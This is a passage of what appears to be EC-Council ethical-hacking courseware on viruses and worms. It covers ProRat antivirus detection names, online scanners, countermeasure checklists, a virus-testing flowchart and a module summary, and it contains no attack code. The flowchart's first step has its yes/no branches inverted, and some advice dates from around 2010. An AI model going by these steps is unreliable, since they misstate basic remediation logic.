<td>2010.08.17</td>
<td>Win32\ProRat-FZ</td>
</tr>
<tr>
<td>Avast5</td>
<td>5.0.332.0</td>
<td>2010.08.17</td>
<td>Win32\ProRat-FZ</td>
</tr>
<tr>
<td>AVG</td>
<td>9.0.0.021</td>
<td>2010.08.17</td>
<td>BackDoor\Generic.B0</td>
</tr>
<tr>
<td>BitDefender</td>
<td>7.2</td>
<td>2010.08.18</td>
<td>BackDoor\Generic.28115</td>
</tr>
<tr>
<td>CAT-QuickHeal</td>
<td>11.00</td>
<td>2010.08.16</td>
<td>BackTool\ProRat.\ (Not a Virus)</td>
</tr>
<tr>
<td>ClamAV</td>
<td>0.96.2.0-cit</td>
<td>2010.08.18</td>
<td>Trojan\ProRat-24</td>
</tr>
<tr>
<td>Comodo</td>
<td>5778</td>
<td>2010.08.18</td>
<td>BackDoor\Win32. ProRat.19</td>
</tr>
<tr>
<td>DrWeb</td>
<td>5.0.2.09300</td>
<td>2010.08.10</td>
<td>BackDoor\ProRat.448</td>
</tr>
<tr>
<td>Emsisoft</td>
<td>5.0.0.39</td>
<td>2010.08.10</td>
<td>BackDoor\Win32. ProRat\IK</td>
</tr>
<tr>
<td>F-Secure</td>
<td>7.0.17.0</td>
<td>2010.08.17</td>
<td>Win32\ProRat</td>
</tr>
<tr>
<td>eTrust-Vet</td>
<td>36.1.7797</td>
<td>2010.08.17</td>
<td>Win32\ProRat.AN</td>
</tr>
<tr>
<td>F-ProT</td>
<td>4.6.1.107</td>
<td>2010.08.18</td>
<td>Win32\ProRat\DC06d</td>
</tr>
<tr>
<td>F-Secure</td>
<td>0.0.1.570.0</td>
<td>2010.08.18</td>
<td>BackDoor\Generic.28115</td>
</tr>
<tr>
<td>Fortinet</td>
<td>4.1.1.43.0</td>
<td>2010.08.16</td>
<td>Win32\BackDoor\AVW!dz</td>
</tr>
<tr>
<td>ESET</td>
<td>21</td>
<td>2010.08.19</td>
<td>BackDoor\Generic.28115</td>
</tr>
<tr>
<td>Kaspersky</td>
<td>9.0.1.88.0</td>
<td>2010.08.18</td>
<td>BackDoor\Win32. ProRat</td>
</tr>
<tr>
<td>LanLan</td>
<td>13.0.900</td>
<td>2010.08.17</td>
<td>BackDoor\ProRat\19.1</td>
</tr>
</tbody>
</table>

http://www.virustotal.com
Online Malware Analysis Services

- Anubis: Analyzing Unknown Binaries
  http://anubis.iseclab.org

- Avast! Online Scanner
  http://onlinescan.avast.com

- Malware Protection Center
  https://www.microsoft.com

- ThreatExpert
  http://www.threatexpert.com

- Dr. Web Online Scanners
  http://ums.drweb.com

- Filterbit
  http://www.filterbit.com

- Avert(r) Labs WebImmune
  https://www.webimmune.net

- Kaspersky File Scanner
  http://www.kaspersky.com
Module Flow

1. Virus and Worms Concepts
2. Types of Viruses
3. Computer Worms
4. Malware Analysis
5. Countermeasures
6. Penetration Testing

Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.
Virus Detection Methods

Scanning
Once a virus has been detected, it is possible to write scanning programs that look for signature string characteristics of the virus.

Integrity Checking
Integrity checking products work by reading the entire disk and recording integrity data that acts as a signature for the files and system sectors.

Interception
The interceptor monitors the operating system requests that are written to the disk.
Virus and Worms
Countermeasures

Ensure the executable code sent to the organization is approved

Do not boot the machine with infected bootable system disk

Know about the latest virus threats

Check the DVD and CDs for virus infection

Ensure the pop-up blocker is turned on and use an Internet firewall

Run disk clean up, registry scanner and defragmentation once a week

Turn on the firewall if the OS used is Windows XP

Run anti-spyware or adware once in a week

Block the files with more than one file type extension

Be cautious with the files being sent through the instant messenger
Virus and Worms Countermeasures

1. Install anti-virus software that detects and removes infections as they appear.
2. Generate an anti-virus policy for safe computing and distribute it to the staff.
3. Pay attention to the instructions while downloading files or any programs from the Internet.
4. Update the anti-virus software on a monthly basis, so that it can identify and clean out new bugs.
5. Avoid opening the attachments received from an unknown sender as viruses spread via e-mail attachments.
6. Possibility of virus infection may corrupt data, thus regularly maintain data backup.
7. Schedule regular scans for all drives after the installation of anti-virus software.
8. Do not accept disks or programs without checking them first using a current version of an anti-virus program.

Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.
Companion Antivirus: Immunet Protect

http://www.immunet.com
## Anti-virus Tools

<table>
<thead>
<tr>
<th>Tool</th>
<th>Website</th>
</tr>
</thead>
<tbody>
<tr>
<td>AVG Antivirus</td>
<td><a href="http://free.avg.com">http://free.avg.com</a></td>
</tr>
<tr>
<td>BitDefender</td>
<td><a href="http://www.bitdefender.com">http://www.bitdefender.com</a></td>
</tr>
<tr>
<td>Kaspersky Anti-Virus</td>
<td><a href="http://www.kaspersky.com">http://www.kaspersky.com</a></td>
</tr>
<tr>
<td>Trend Micro Internet Security Pro</td>
<td><a href="http://apac.trendmicro.com">http://apac.trendmicro.com</a></td>
</tr>
<tr>
<td>Norton AntiVirus</td>
<td><a href="http://www.symantec.com">http://www.symantec.com</a></td>
</tr>
<tr>
<td>F-Secure Anti-Virus</td>
<td><a href="http://www.f-secure.com">http://www.f-secure.com</a></td>
</tr>
<tr>
<td>Avast Pro Antivirus</td>
<td><a href="http://www.avast.com">http://www.avast.com</a></td>
</tr>
<tr>
<td>McAfee AntiVirus Plus</td>
<td><a href="http://home.mcafee.com">http://home.mcafee.com</a></td>
</tr>
</tbody>
</table>

*Antivirus Tools list.*
Module Flow

1. Virus and Worms Concepts
2. Types of Viruses
3. Computer Worms
4. Malware Analysis
5. Countermeasures
6. Penetration Testing
Penetration Testing for Virus

1. Test for suspicious system

   - Anti-virus is installed?
     - Yes: Install Anti-Virus
     - No: Update Anti-Virus

2. Anti-virus is Updated?

   - Yes: Scan the System for Virus
   - No: Update Anti-Virus

3. Install an anti-virus program on the network infrastructure and on the end-user’s system

4. Update the anti-virus software to update your virus database of the newly identified viruses

5. Scan the system for viruses, which helps to repair damage or delete files infected with viruses
Penetration Testing for Virus

- Virus is found?
  - System is not infected
  - Set the anti-virus to quarantine or delete the virus
- Virus is removed?
  - System is safe
  - Go to safe mode and delete the infected file manually

- Set the anti-virus software to **compare file contents** with the known computer **virus signatures**, identify infected files, quarantine and repair them if possible or delete them if not.
- If the virus is not removed then go to **safe mode** and delete the infected file manually.
Penetration Testing for Virus

1. **Scan for running processes**
   - Use tools such as What's Running and HijackThis

2. **Scan for registry entries**
   - Use tools such as JV Power Tools and Regshot

3. **Scan for Windows services**
   - Use tools such as SrvMan and ServiWin

4. **Scan for startup programs**
   - Use tools such as Starter, Security AutoRun and Autoruns

5. **Scan for files and folders integrity**
   - Use tools such as FCIV, TRIPWIRE and SIGVERIF

- Scan the system for **running processes**, registry entries, startup programs, files and folders integrity and services.
- If any suspicious process, registry entry, startup program or service is discovered, check the **associated executable files**.
- Collect **more information** about these from publisher’s websites if available, and Internet.
- Check the **startup programs** and determine if all the programs in the list can be recognized with known functionalities.
- Check the **data files for modification or manipulation** by opening several files and comparing hash value of these files with a pre-computed hash.

**CEH**
Certified Ethical Hacker

Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.
Penetration Testing for Virus

Scan for modification to OS files

Document all the findings

If viruses are detected?

Isolate the machine from network

Use tools such as FCIV and TRIPWIRE

Find other anti-virus solution to clean viruses

If updated anti-virus is running?

Update and run antivirus

- Check the critical OS file modification or manipulation using tools such as TRIPWIRE or manually comparing hash values if you have a backup copy
- Document all your findings in previous steps; it helps in determining the next action if viruses are identified in the system
- Isolate infected system from the network immediately to prevent further infection
- Sanitize the complete system for viruses using an updated anti-virus
Module Summary

- Virus is a self-replicating program that produces its own code by attaching copies of itself into other executable codes whereas worms are malicious programs that replicate, execute, and spread across the network connections independently without human interaction.
- Some viruses affect computers as soon as their code is executed; other viruses lie dormant until a pre-determined logical circumstance is met.
- Viruses are categorized according to the file they infect and the way they work.
- Lifecycle of virus and worms include designing, replication, launching, detection, incorporation, and elimination stages.
- Computer gets infected by viruses, worms, and other malware due to not running the latest anti-virus application, not updating, and not installing new versions of plug-ins, installing the pirated software, opening the infected e-mail attachments or downloading files without checking properly for the source.
- Several virus and worm development kits such as JPS Virus Maker are available in wild that can be used to create malware without any technical knowledge.
- Virus detection methods include system scanning, file integrity checking, and monitoring OS requests.
- Virus and worm countermeasures include installing anti-virus software and following anti-virus policy for safe computing.
I think computer viruses should count as life. I think it says something about human nature that the only form of life we have created so far is purely destructive. We've created life in our own image.

- Stephen Hawking,
Theoretical Physicist and Cosmologist